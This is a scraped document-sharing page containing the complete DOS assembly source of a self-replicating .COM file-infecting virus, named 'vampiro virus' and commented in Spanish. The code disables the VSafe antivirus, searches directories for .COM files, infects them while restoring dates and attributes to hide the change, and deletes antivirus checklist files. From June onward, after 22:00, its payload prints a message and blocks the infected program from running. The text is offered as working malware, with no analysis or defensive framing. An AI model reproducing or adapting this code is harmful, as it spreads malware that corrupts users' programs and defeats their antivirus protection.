Sei sulla pagina 1di 7

.

286c
codigo segment 'code'
org 100h
assume cs:codigo,ds:codigo,es:codigo
start proc far
comienzo:
push cs ;guardo cs
push cs ;guardo cs
pop ds ;ds<==cs
pop es ;es<==cs

call falso_proc ;llamo al proc. para que me


; quede en la pila la direccion
; del proc.
falso_proc proc near
falso_proc endp

pop bp ;bp<== direccion del proc.


sub bp, 107h ;bp<== bp - dir. anterior.

;============================desinstalar el vsafe==============================
mov dx, 5945h ;desinstalar vsafe.
mov ax, 0fa01h
int 21h

;=============================chequeo de playload==============================
;chequeo la fecha -------------------------------------------------------------
mov ah, 2ah ;obtener fecha actual.
int 21h ;devuelve en:
cmp dh, 06d ;dh<== mes.
jb intercambio ;si dh es menor que 6 (junio),
; no hago nada.
;<------ si llego aca, es porque es
; mayor que junio.

;chequeo la hora --------------------------------------------------------------


mov ah, 2ch ;obtener la hora actual.
int 21h ;devuelve en:
cmp ch, 22d ;ch<== hora.
jb intercambio ;si ch es menor que 22hs, salto
; a intercambio.
;<------ si llego hasta aca, es porque
;cumple con las condiciones.
jmp playload ;voy al playload.

;================================intercambio===================================
intercambio:
cld ;seteo el direction flag para
; que copie hacia delante
mov cx, 7 ;cantidad de bytes. (7).
lea si, [bp+buffer] ;si<== offset de buffer.
lea di, [bp+buffer_act] ;di<== offset de buffer_act.
rep movsb ;copia.
;ahora en buffer_act tengo
; el contenido de buffer.

;salvar el dta original -------------------------------------------------------


mov cx, 43d ;cantidad de bytes a copiar.
lea di, bp+dta_org ;di<== offset del dta_org
mov si, 0080h ;si<== offset comienzo del dta
rep movsb ;copia 43 bytes.

;============================programa de busqueda==============================
;guardar directorio original --------------------------------------------------
mov ah, 47h ;obtener directorio actual.
mov dl, 0 ;unidad por defecto.
;devuelve en ds:si el path
;sin unidad ni barra.
lea si, bp+directorio_original+1 ;si<== offset directorio_org.
int 21h

;buscar la primer entrada -----------------------------------------------------


buscar:
mov ah, 4eh ;buscar primer entrada.
lea dx, bp+directorio ;ds:dx= direccion de directorio
mov cx, 00010000b ;con atributo de directorio
int 21h

;verificar si es un directorio ------------------------------------------------


verificar:
push 0095h ;pusheo el offset del dta
; de los atributos
pop bx ;y lo guardo en bx
mov al, [bx] ;le paso a al (nibble donde
; se encuentra el bit de
; directorio) el contenido de
; bx (bits de atributos).
shr ax, 4 ;muevo a ax 4 bits a la derecha
; para poner en 0 a los mas
; significativos que el bit de
; directorio.
shl ax, 7 ;muevo a ax 7 bits a la izq.
; para poner en 0 los menos
; significativos que directorio
cmp ax, 10000000b ;comparo ax con 10000000, donde
; el 1 es el bit de directorio.
jne dir

;verificar si el directorio es relativo ("." o "..") --------------------------

lea si, bp+actual ;si<== offset de actual


mov di, 009eh ;di<== offset del dta donde
; esta el filename.
cmpsb ;comparo 1 byte.
je dir ;si coincidio, voy a dir.
mov cx, 0002h ;cx<== 1. comparo 2 bytes.
lea si, bp+retroceso ;si<== offset de retroceso
mov di, 009eh ;di<== offset del dta donde
; esta el filename.
repe cmpsb ;repite mientras coinciden.
je dir ;si coincidieron, salto a dir.

;cambiar de directorio --------------------------------------------------------


cambio:
mov ah, 3bh ;cambiar de directorio.
mov dx, 009eh ;ds:dx= offset del dta
int 21h

;salvar el dta actual ---------------------------------------------------------


mov cx, 43d ;cantidad de bytes a copiar.
lea di, bp+dta ;di<== offset del dta_org
mov si, 0080h ;si<== offset comienzo del dta
rep movsb ;copia 43 bytes.

;buscar el primer file --------------------------------------------------------


mov ah, 4eh ;buscasr 1er file.
lea dx, bp+file_inf ;ds:dx= offset de file_inf
mov cx, 0 ;atributos de la entrada.
int 21h
jc retro2 ;si encontro algun file, salta
; a file_a_infectar.
;<----- si llego hasta aca es porque
;no encontro ningun file.
jmp file_a_infectar ;salto a retro.

;buscar el proximo file -------------------------------------------------------


search:
mov ah, 4fh ;busca el proximo file.
int 21h
jc retro2 ;si encontro algun file, salta
jmp file_a_infectar ; a file_a_infectar.

;retroceder de directorio -----------------------------------------------------


retro:
mov ah, 3bh ;cambiar de directorio.
lea dx, bp+retroceso ;dx<== offset de retroceso.
int 21h
jnc buscar
jmp no_infectar

;retroceder de directorio -----------------------------------------------------


retro2:
mov ah, 3bh ;cambiar de directorio.
lea dx, bp+retroceso ;dx<== offset de retroceso.
int 21h
jnc act_dta
jmp no_infectar

;buscar el proximo directorio -------------------------------------------------


dir:
mov ah, 4fh ;buscar la proxima entrada.
int 21h
jnc verificar
jmp retro

;actualizo dta ----------------------------------------------------------------


act_dta:
mov cx, 43d ;cantidad de bytes a copiar.
lea si, bp+dta ;si<== offset de var. dta.
mov di, 0080h ;di<== offset del comienzo dta.
rep movsb ;copia 43 bytes.
jmp dir

;========================fin de programa de busqueda===========================


;==============================infectar file===================================
file_a_infectar:
;comprobar que no sea el command.com ------------------------------------------
mov cx, 12d ;son 12 bytes.
mov si, 009eh ;si<== offset del filename dta.
lea di, bp+command ;di<== offset command.
repe cmpsb ;compara.
jne continuar ;si hay error, salta continuar.
jmp search ;si no, salta a search.

;verificar longitud -----------------------------------------------------------


continuar:
mov cx, 2 ;copiar 2 bytes.
mov si, 009ah ;si<== offset del dta (long.).
lea di, bp+longitud ;di<== offset de longitud.
rep movsb ;copia.
sub word ptr [bp+longitud], 3 ;resto 3 bytes a [longitud].

;comprobar longitud que no sea mayor a 64000 bytes-----------------------------


cmp word ptr [bp+longitud], 64000d ;comparo longitud con 64000.
jb c ;si long. es menor, salto a c.
jmp search ;si no, salto a search.

;guardar atributos del file ---------------------------------------------------


c:
mov ax, 4300h ;obtener atributos.
mov dx, 009eh ;dx<== offset del filename dta.
int 21h ;devuelve atribs. en cx.
mov word ptr [bp+atributos],cx ;paso cx a atributos.

;setear atributos a r/w -------------------------------------------------------


mov ax, 4301h ;setear atributos.
mov cx, 0000h ;seteo atrib. a "normal"
int 21h

;abrir file -------------------------------------------------------------------


mov ah, 3dh ;abro file.
mov al, 00000010b ;para lectura/escritura.
mov dx, 009eh ;dx<== offset del dta(filename)
int 21h ;el handle viene al ax.
push ax ;lo guardo.

;leo los 7 primeros bytes -----------------------------------------------------


pop bx ;paso el handle a bx.
push bx ;y lo guardo.
mov ah, 3fh ;leer file.
mov cx, 0007h ;leer 7 bytes.
lea dx, bp+buffer ;para guardarlo en el buffer.
int 21h

;comprobar mz -----------------------------------------------------------------
cmp word ptr [bp+buffer],'zm' ;comparo con zm.
jne d
jmp cerrar

;comprobar infeccion ----------------------------------------------------------


d:
mov cx, 4d ;son 4 bytes.
lea si, bp+string ;comparar la var. string.
lea di, bp+buffer ;con la var. buffer.
add di, 3d ;salterar los 3 primeros bytes.
repe cmpsb ;realiza comparacion.
jne infectar ;te caga el file.

;cerrar file porque esta apestado ---------------------------------------------


cerrar:
pop bx ;saco el handle.
push bx ;y lo guardo.
mov ah, 3eh ;cerrar file.
int 21h

;restauro atributos del file original -----------------------------------------


mov ax, 4301h ;restauro atributos originales.
mov cx, word ptr [bp+atributos] ;cx<== atributos.
mov dx, 009eh ;dx<== offset del filename dta.
int 21h
jmp search

;=============================infectar en si===================================
infectar:
;guardar fecha del file -------------------------------------------------------
pop bx ;bx<== handle.
push bx ;stack<== handle.
mov ax, 5700h ;obtener fecha.
;devuelve en cx y dx.
int 21h
mov word ptr [bp+fecha],cx ;paso cx a fecha.
mov word ptr [bp+fecha+2],dx ;paso dx a fecha+2.

;mover puntero al principio ---------------------------------------------------


mov ax, 4200h ;muevo el puntero de escritura
; al principio del prog.
mov cx, 0000h
mov dx, 0000h
int 21h

;escrivo el primer byte(jmp) --------------------------------------------------


mov ah, 40h ;escribir el 1er. byte.
mov cx, 1d ;cantidad=1.
lea dx, bp+jump ;dx<== offset de jump
int 21h

;escrivo longitud o sea, completo el jmp --------------------------------------


mov ah, 40h ;escribo.
mov cx, 2d ;cantidad de bytes.
lea dx, bp+longitud ;dx<== offset de longitud.
int 21h

;escrivo los 4 del string -----------------------------------------------------


mov ah, 40h ;escribo.
mov cx, 4d ;cantidad.
lea dx, bp+string ;dx<== offset de string.
int 21h
;mover puntero al final -------------------------------------------------------
mov ax, 4202h ;muevo el puntero de escritura
; al final del prog.
mov cx, 0000h
mov dx, 0000h
int 21h
add word ptr [bp+longitud],3 ;restauro longitud.

;copio el virus al programa ---------------------------------------------------


pop bx ;restauro el handle.
mov ah, 40h ;servicio.
mov cx, 1000d ;cantidad de bytes a copiar.
;realmente son 874 bytes, pero
; agregamos hasta 1000 de
; basura.
lea dx, bp+comienzo ;copiar desde...
int 21h

;restauro la fecha del file original ------------------------------------------


mov ax, 5701h ;restauro fecha original.
mov cx, word ptr [bp+fecha] ;paso fecha a cx.
mov dx, word ptr [bp+fecha+2] ;paso fecha+2 a dx.
int 21h

;cierro el file luego de haberlo infectado ------------------------------------


mov ah, 3eh ;cerrar file.
int 21h

;restauro atributos del file original -----------------------------------------


mov ax, 4301h ;restauro atributos originales.
mov cx, word ptr [bp+atributos] ;cx<== atributos.
mov dx, 009eh ;dx<== offset del filename dta.
int 21h

;===============================borrar checklists==============================
;setear atributos a r/w -------------------------------------------------------
mov ax, 4301h ;setear atributos.
mov cx, 0000h ;seteo atrib. a "normal"
lea dx, bp+checklist ;dx<== offset de checklist.
int 21h

;borrar directamente el checklist ---------------------------------------------


mov ah,41h ;servicio.
int 21h

;=============================no infectar nada=================================


no_infectar:
;========================volver al directorio original=========================

;volver al directorio original-------------------------------------------------


mov ah, 3bh ;cambiar de directorio.
lea dx, bp+directorio_original ;dx<== offset de retroceso.
int 21h

;actualizar todo el dta -------------------------------------------------------


mov cx, 43d ;cantidad de bytes a copiar.
lea si, bp+dta_org ;si<== offset de var. dta.
mov di, 0080h ;di<== offset del comienzo dta.
rep movsb ;copia 43 bytes.

;=======================devuelve el control al anfitrion=======================


;copiar el buffer con los 7 primeros byte del file a memoria ------------------
mov cx, 0007h ;cantidad de bytes (7).
mov di, 0100h ;di<== offset 100h. comienzo
; del prog. en memoria.
lea si, bp+buffer_act ;si<== offset del buffer_act.
rep movsb ;copia.

;saltar al offset 100h --------------------------------------------------------

mov ax, 0100h ;direccion para ejecucion del


jmp ax ; anfitrion.

;=================================playload=====================================
playload:
mov ah, 09h ;imprimir cadena.
lea dx, bp+mensaje ;dx<== offset de mensaje.
int 21h ;

mov ah, 4ch ;terminar y no ejecutar el file


int 21h ; una mierda.

start endp
;==============================area de datos===================================

buffer db 7d dup(0)
buffer_act db 7d dup(0)
dta db 43d dup(0)
dta_org db 43d dup(0)
longitud db 2 dup(0)
fecha db 4 dup(0)
atributos db 2 dup(0)
directorio_original db '\',64 dup(0)
mensaje db 'zarathustra & drako les comunican que llego la '
db 'hora de ir a dormir. shh! '
db 'vampiro virus.$'
directorio db '*.*',0
actual db '.',0
retroceso db '..',0
file_inf db '*.com',0
checklist db 'chklist.ms',0
string db '???',0
jump db '?',0
command db 'command.com',0

codigo ends
end start

Potrebbero piacerti anche